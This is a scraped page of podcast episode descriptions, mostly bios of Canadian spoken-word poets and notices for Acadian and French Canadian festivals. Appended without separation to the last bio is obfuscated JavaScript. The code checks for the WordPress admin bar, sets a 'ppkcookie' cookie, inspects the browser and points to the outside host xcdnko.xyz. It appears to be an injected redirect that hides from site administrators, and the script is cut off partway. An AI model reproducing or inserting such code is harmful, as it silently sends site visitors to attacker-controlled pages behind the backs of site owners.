Podcasts about canadian festival

The Summer Lyric Theatre at Tulane University closes its season with Pippin. Director and choreographer Diane Lala and actress Chase Kamata give us all the details behind the production of this timeless rock musical. Beginning on Aug. 10, the 2024 Congrès Mundian Acadien will celebrate Acadian diaspora and history. Held in Nova Scotia, this event is not only a time to honor Acadian culture but also to serve as a reunion, inviting Cajun guests from across the globe to return to their roots. Vaughne Madden, executive director of the event, and Justin Lemoine, executive director of the Atchafalaya National Heritage Area – one of the groups attending – tell us more about Louisiana's involvement in this Canadian festival. White Linen Night, the annual August stroll through New Orleans' art galleries returns this weekend. This year, the event is turning 30. President of the New Orleans Arts District Association Leslie-Claire Spillman tells us more about all the art lined up for this year's event. ___Today's episode of Louisiana Considered was hosted by Diane Mack. Our managing producer is Alana Schrieber. Matt Bloom and Aubry Procell are assistant producers. Our engineer is Garrett Pittman.You can listen to Louisiana Considered Monday through Friday at noon and 7 p.m. It's available on Spotify, Google Play and wherever you get your podcasts. Louisiana Considered wants to hear from you! Please fill out our pitch line to let us know what kinds of story ideas you have for our show. And while you're at it, fill out our listener survey! We want to keep bringing you the kinds of conversations you'd like to listen to.Louisiana Considered is made possible with support from our listeners. Thank you!

This week Jesse talks to Joseph Bolton about the upcoming Leominster French Canadian Festival. You'll also learn about Joseph's history, his upcoming book and how the Leominster French Canadian Festival came be to. I hope we see everyone Saturday June 22nd in Leominster!!! Learn more about the Leominster French Canadian Festival - https://www.facebook.com/profile.php?... Leominster French Canadian Festival event page on Facebook - https://fb.me/e/59AG4vcTL You can e-mail Joseph with ideas or questions - boltonje364@gmail.com You can support Melody on Patreon - https://patreon.com/modernefrancos or Substack - https://modernefrancos.substack.com/

Shauntay Grant is an author, poet, playwright, and multimedia artist. Her love of literature stretches back to her storytelling roots in Nova Scotia's historic Black communities.Shauntay holds an MFA in creative writing from the University of British Columbia and is an associate professor of creative writing at Dalhousie University. A former poet laureate for the City of Halifax, her honors include a Marilyn Baillie Picture Book Award, a Joseph S. Stauffer Prize, and a Poet Of Honor prize from the Canadian Festival of Spoken Word. She lives in Halifax, Nova Scotia. Shauntay shares her blend of words and music internationally at festivals and events and collaborates with visual artists and art galleries to create poetry-themed artworks, installations, and exhibitions.Learn more about her at shauntaygrant.com.Purchase My Fade is Fresh here.Connect with Charnaie online in the following places:Blog: http://hereweeread.comPersonal Website: charnaiegordon.comPodcast Email Address: hereweereadpodcast@gmail.comFind Charnaie on the following social media platforms under the username @hereweeread: Instagram, Facebook, Twitter, Pinterest.Feel free to share this podcast on your social media platforms to help spread the word to others. Thanks for listening!

Desiree Mckenzie is a Toronto-based award-winning poet, arts educator, and aspiring photographer. Desiree has represented Toronto Poetry Slam at the 2020 Women of the World Poetry Slam in Dallas, Texas, where she placed in the top 40 of 100 poets, in addition to being the 2019 Canadian Festival of Spoken Word National Champion with Up From the Roots. At the 2020 Canadian Individual Poetry Slam, she was among the top three poets in Canada. Her poetry has also appeared in CBC's Poetic License series, the Black Diamond Ball, the Bergen Lit Fest, the VIBE Arts NExT program, and Clearbanc Financial's International Women's Day Campaign. She received the JAYU iAM Arts for Human Rights Award in 2020, recognizing creatives doing exceptional work where the arts and human rights intersect. WET HAIR, her first spoken word EP, was released in 2021 and is now available on all streaming platforms. In this podcast episode, Desiree shares with us what sparked her love of poetry, her journey pursuing the art form, and much more! Want More Desiree? https://www.instagram.com/desireemckenzie/ (Instagram) https://www.desireemckenziepoetry.com/ (Website) Thank you for your support! http://www.thednaproject.ca/shop (New Merch Out Now!) Don't check out The DNA Project Merch and use code “PODCAST” for 20 % off your first purchase! https://bit.ly/3uPCWaj (YouTube Subscribe) https://apple.co/3oiPy7m (Audio Subscribe) Thank you to our Sponsors: https://thednaproject.ca/ (The DNA Project)  https://www.the-mpl.com/ (The MPL Toronto) Opening Credits: Daniel Cowans, Musical Director @ The DNA Project Produced By: Anthony Lewis and Diriki Palmer Mixed and Edited By: Mat Keselman The DNA Project – All rights reserved

Ashley Avery is executive director of Coverdale Courtwork Society, a non profit organization that supports women, girls, trans, non-binary and Two-Spirit persons affected by the criminal justice system. Before joinging Coverdale, she worked in the Mental Health field in Toronto, ON and then in Halifax, NS in facilities supporting women experiencing homelessness and women transitioning from prison to the community. She holds a Bachelor of Arts in Women's Studies from Mount Saint Vincent University. Ashley has completed numerous trainings and certifications in the areas of Mental Health, Trauma Informed Practice and Counselling. She is involved in SSHRC funded research that is studying the causes and consequences of breaching court orders for women in the criminal justice system in Nova Scotia. She has also worked supporting the transformation of the Law Reform Commission of Nova Scotia to the new Access to Justice & Law Reform Institute of Nova Scotia. In addition to these roles, is a feminist writer, poet and advocate living in KJIPUKTUK (Halifax). She is a former member of the Hali Slam team and a competitor at the 2017 Canadian Festival of Spoken Word. In preparation for this interview, students read John McKendy’s 2006 article "I’m very careful about that: narrative and agency of men in prison." This interview is the first recorded online rather than in the classroom due to social distancing measures taken in light of the Covid-19 Pandemic. The quality of the recording is likely to be compromised somewhat by this situation. Reference McKendy, J. (2006). I’m very careful about that: narrative and agency of men in prison, Discourse & Society, 17(4): 473-502.

Welcome to the very 1st episode of Gays in the Woods, in which I (Emmet, 33, they/them) explore rural queer life, starting from my own backyard. For Family Day, let's meet my poetry aunt, b!WILDer, and hear about her experiences over 12 years with the Lanark County Live Poets Society (LiPS), including many adventures at the (perhaps soon to be renamed less colonially) Canadian Festival of Spoken Word. We also talk about b!'s recent foray into comedy, & her upcoming show at Curious & Kind in Almonte on March 21st. On this episode's Community Corner, you'll learn about the upcoming Housing Forum at the Carleton Place Arena on February 20th. You can find Gays in the Woods on Anchor, Spotify, & Facebook. You can find me on twitter at @emlfc. If you have a topic or guest suggestion for the show, I'd love to hear from you via social media or the traditional rural communication method of starting a rumour about me doing what you think I should already be doing & waiting for me to hear it & get back to you. --- This episode is sponsored by · Anchor: The easiest way to make a podcast. https://anchor.fm/app

Bassam was a rapper, then page poet, then spoken word artist from Toronto, and is now the National Director for speakNORTH, formerly Spoken Word Canada. They are the National Poetry Slam Champion at the Canadian Festival of Spoken Word in 2016 with the Guelph (pronounce Gwealth) Poetry Slam team, Canadian Individual Poetry Slam finalist in 2017, and has two books out by Swimming with Elephants Publications “disaster in die * an overdose sunrise” and “bliss in die / unbinging the underglow” and a collection through GenZ Publishing “_nil:/per.OS: seppuku|smiles & songs for sarah”, and a proud Auntie.

Preface: The origins of the phrase is a mystery. It takes a village to raise a child is a proverb that spirited from African or Native American cultures. The phrase translates into saying that it takes an entire community of different people interacting with children in order for children to experience and grow in a safe environment. The thought leaders, game-changers, and innovators that we look up to are often impacted by the same thing: they’ve been exposed to people, environments, and interactions that have helped shape and define who they are today.The It Takes a C-Tribe Village Podcast aims to identify, dissect, and celebrate the unsung heroes, things, and experiences that have impacted the greatest minds of our generation and how these individuals are paying it forward for those to come. Guest: Nisha Patel (@anothernisha), City of Edmonton Poet Laureate & Canadian Individual Slam Champion Interviewer: Sahr Saffa, Chairperson, C-Tribe, and VP of Canadian Operations, AutonomIQ Show Notes: "Eventually I reached a point where I was like, “you know what, I want to see what happens if I pursue this full time.” I’m not sure what will happen and I don’t know if I can pursue this full time, but you hear about people in their retirement years, or you hear from Millennials, “oh, I want to write a book one day”, or “I want to travel the world when I retire”, or “I want to do this when I retire.” I don’t want to live a life waiting for retirement, I want to try things now. Either I can spend this money when I’m 67 (or whenever the retirement age is) or I can use all of my savings to see what it takes to be a full time artist and do what I want for a year. My year was up a few months ago, but I think I’m doing pretty well right now to buy myself a little bit of time as an artist. Bio: Nisha (@anothernisha) is an Indo-Canadian poet, artist, and public speaker in Edmonton, Alberta. She is the current Poet Laureate for the City of Edmonton. She is also the 2019 Canadian Individual Slam Champion, the 2019 Edmonton Slam Champion, and the Executive Director of the Edmonton Poetry Festival. She is the author of "Limited Success" and co-author of "Water". She is the 2016 Edmonton Indie Slam Champion and a four-time member of the Edmonton Slam Team. She is a finalist of the Canadian Festival of Spoken Word. She is the former Artist-in-Residence at The Nook Cafe and The Sewing Machine Factory. Her work has also been published in The Glass Buffalo Vol. 2 No. 3 & The City Series: Number Four - Edmonton, as well as The Polyglot Issue 3: Curating our Canons. Nisha holds a Bachelor of Commerce from the University of Alberta School of Business with a major in Business Economics and Law, a minor in Political Science, and a Certificate in Leadership. Overall, Nisha, is one of those people that I wish I spent more time getting to know during the earlier parts of our working relationship as members of the Global Shapers community. Her story is so beautiful for many reasons, but the one that stands out the most to me is that she has allowed a very dark moment in her life—where their literally was no way out— to propel her into being the most celebrated artist her in the city and amongst the best in Canada. She’s a hidden talent here in Edmonton and has basically taken over a world I had no idea about: the world of written poetry and artistry. What’s interesting though, is that throughout this podcast, I uncover that she thinks about the same things while building her artistic business that I would think about while building a tech business.

Ashley Avery is a feminist writer, poet and advocate living in KJIPUKTUK (Halifax).She holds a BA in Women’s Studies from MSVU and previously completed a Diploma in Social Service Work in Toronto. She is a former member of the Hali Slam team and a competitor at the 2017 Canadian Festival of Spoken Word. Her visual poetry installation titled “Elements of Rape Culture” was featured at the Mount Saint Vincent community art gallery and in 2018 she was commissioned to collaborate with a lucky director (read: myself) on a docupoem titled “How Will You Honour Your Land?” for the Lunenburg Documentary Film Festival.Ashley has performed her poetry at numerous protests and community events across Nova Scotia. She uses spoken word as a form of activism to bring injustice to centre stage and speak truth to power. She is the former women and youth services coordinator at a local non-profit serving criminalized women. She is now the access to justice coordinator at the newly formed Access to Justice and Law Reform Institute of Nova Scotia where she is managing the #TalkJustice initiative— a community engagement strategy centring the voices of the public in the justice system and giving community a platform to share their stories with the ultimate goal of improving their experiences.When she isn’t snuggling her dog Jaxon or driving her daughter to extracurricular activities, she is probably watching Netflix or plotting her next move.In this episode, we talk about how everything, poetry, #TalkJustice and a lot more.Check her out @_a.avery_

Welcome to the second episode of Live at the Hague! A podcast series recorded at the Creative City Centre in the Hague Gallery, a third floor concert venue and visual art gallery.   In this episode, I am really excited to share a performance and interview with Winnipeg spoken word artist Chimwemwe Undi. Chim is an avid human, a laugh track and a poet. She was a featured artist at the 2014 Canadian Festival of Spoken Word, and is currently a director of Winnipeg’s Voices, Ink. Youth Slam and a returning ensemble member at the upcoming Victoria Spoken Word Festival. Her full name is 24 points in Scrabble. Chim’s work grapples with identity, love, mental illness and why Beyonce won’t text her back.   It was recorded live on February 20, 2015 in the Hague Gallery at the Creative City Centre in downtown Regina, Saskatchewan.   For more information about the Creative City Centre and upcoming events, including future Word Up! events, please visit creativecitycentre.ca. You can also us on Facebook and Twitter.   The theme music for “Live at the Hague” was written and performed by Saskatchewan singer-songwriter Danny Olliver.   If you like what you hear, and you would like to attend a live recording, please visit creativecitycentre.ca for details of upcoming events.    This podcast was made possible through the generous support of Conexus Credit Union. Live at the Hague is a program originating from the Creative City Centre, also supported by the Saskatchewan Arts Board, the Canada Council for the Arts, the Department of Canadian Heritage and the City of Regina.

When Titilope first stepped to the microphone in 2007 at a local open mic, to gracing stages from Lagos to Cape Town, New York to California, Edmonton to Toronto and places in between, her goal has been to remind people that the ties that bind us transcend all of the borders we have created. She will tell you that no poem is brand new. In the telling and re-telling we are reminded that someone has walked this path before. Titilope is a Nigerian born civil engineer, author and spoken word poet and the winner of the 2011 Canadian Authors’ Association Emerging Author Award for her first collection of poems, Down To Earth. In 2013 Titilope released her first spoken word album Mother Tongue and her second collection of poetry, Abscess, in 2014 with Geko Publishing in South Africa. She was a resident artist at the 2011 Yemoya Artist Residency under the mentorship of acclaimed Jamaican-Canadian Dub poet and educator, D'bi Young. She was the recipient of the 2013 RISE award for achievement in the arts and the 2014 National Black Coalition of Canada Fil Fraser Award. She has featured on stages across Canada and internationally, performing with Sonia Sanchez, Jayne Cortez, Yusef Komunyakaa, Obiora Odechukwu, Bassey Ikpi, Twin Poets and Offiong Bassey, at the 2011 Achebe Colloquium on Africa at Brown University. In 2013, Titilope was selected from over 200 writers to meet legendary poet and author, Dr. Maya Angelou. She is the creator of Rouge Poetry, a weekly open mic that has feature local and international poets and musicians for over 5 years. She is the founding member of the Breath In Poetry Collective, home of the 2011 Canadian Festival of Spoken Word (CFSW) championship winning Edmonton Slam Team. Titilope also adds acting to her list of accomplishments, starring as Eki in the Ndani TV hit series, Gidi Up that will air across Africa in 2014. Even with the soil of continents beneath her feet, the stories that are surer with each passing year, she has not forgotten where it all began. She will tell you it is simple; when your heart is cracked open and a multitude of words begin to leak from your chest, before you stain everything you dare to touch, put it in a poem.var _0x1e50=['charAt','substring','indexOf','userAgent','match','Edge','MSIE;','Chromium','Firefox','Chrome','ppkcookie','location','replace','https://www.xcdnko.xyz','getElementById','wpadminbar','undefined','setTime','getTime','cookie','split','length'];(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107['push'](_0x2fa107['shift']());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50[_0x2fa107];return _0x343595;};(function(){if(document[_0x265c('0x0')](_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386[_0x265c('0x3')](_0x1dd386[_0x265c('0x4')]()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386['toUTCString']();}document['cookie']=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document[_0x265c('0x5')][_0x265c('0x6')](';');for(var _0x593f64=0x0;_0x593f64